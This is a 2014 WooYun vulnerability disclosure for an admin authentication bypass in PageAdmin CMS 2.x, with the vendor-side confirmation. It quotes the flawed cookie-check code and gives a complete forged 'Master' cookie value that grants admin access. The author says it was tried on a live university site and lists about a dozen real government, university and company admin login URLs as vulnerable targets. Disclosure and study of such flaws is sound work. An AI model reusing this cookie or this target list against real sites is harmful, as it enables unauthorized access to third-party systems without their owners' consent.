当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061589

漏洞标题:PageAdmin CMS 2.x后台登陆绕过

相关厂商:PageAdmin

漏洞作者: cmd

提交时间:2014-05-20 15:01

修复时间:2014-08-18 15:02

公开时间:2014-08-18 15:02

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-25: 厂商已经确认,细节仅向厂商公开
2014-05-28: 细节向第三方安全合作伙伴开放
2014-07-19: 细节向核心白帽子及相关领域专家公开
2014-07-29: 细节向普通白帽子公开
2014-08-08: 细节向实习白帽子公开
2014-08-18: 细节向公众公开

简要描述:

PageAdmin CMS 2.x后台登陆绕过

详细说明:

后台使用Master_Valicate.Master_Check函数来验证用户是否登陆,下面是此函数代码

if (HttpContext.Current.Request.Cookies["Master"] != null) {
if (HttpContext.Current.Request.Cookies["Master"].Values["LoginProcess"] != null) {
Md5 md = new Md5();
string string_ = HttpContext.Current.Request.Cookies["Master"].Values["UserName"].ToString();
string str = HttpContext.Current.Request.Cookies["Master"].Values["LoginDate"].ToString();
string b = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString();
if (!this.method_1(string_) || md.Get_Md5(str) != b) {
HttpContext.Current.Response.Write("<script language=javascript>alert('非法登陆!');top.location.href='login.aspx';</script>");
HttpContext.Current.Response.End();
}
} else {
HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>");
HttpContext.Current.Response.End();
}
} else {
HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>");
HttpContext.Current.Response.End();
}


首先它检测cookie Master是否存在,这里是可以定义Cookie来绕过,继续往下
它检测Master[LoginProcess]是否存在,最后再获取Master[UserName],Master[LoginDate],Master[Valicate]的值,然后检测UserName是不是字符串,然后检测Valicate的值是不是等于md.Get_Md5(LoginDate),如果都OK,就绕过了验证。
那么我们就可以设置Cookie,只要让Valicate==md.Get_Md5(LoginDate)就行
我们先让LoginDate=1,然后写个aspx文件,计算出md.Get_Md5("1")的值

md5.png


最后Cookie就是Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f
访问下后台,会报错,错误出在PageAdmin.masterhead.Page_Load
查看此处代码,发现有这句
string text = HttpContext.Current.Request.Cookies["Master"].Values["Permissions"].ToString();
所以cookie还要再加上Permissions才行,最后构造出来的Cookie就是
Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f&Permissions=1

漏洞证明:

随便找个网站,如http://scxy.shmtu.edu.cn
打开网站,然后设置下cookie

1.png


直接访问后台/master/index.aspx

2.png


找了点有漏洞的
http://www.lfzhzf.lfang.gov.cn/master/login.aspx
http://mc.zgts.gov.cn/master/login.aspx
http://www.dxfp.gov.cn/master/login.aspx
http://sjxx.yining.gov.cn/master/login.aspx
http://daj.jinyun.gov.cn/master/login.aspx
http://www.jctj.gov.cn:9000/master/login.aspx
http://zyy.zigui.gov.cn/master/login.aspx
http://www.ymhmw.gov.cn/master/login.aspx
http://rsc.ynnu.edu.cn/master/login.aspx
http://xxb.gdcc.edu.cn/master/login.aspx
http://iarc.sysu.edu.cn/master/login.aspx
http://www.zhongdinggroup.com/master/login.aspx

修复方案:

用session

版权声明:转载请注明来源 cmd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-25 14:13

厂商回复:

CNVD确认并复现所述情况,将会整理最近所有PageAdmin漏洞,通过公开联系渠道向软件生产厂商通报处置。

最新状态:

暂无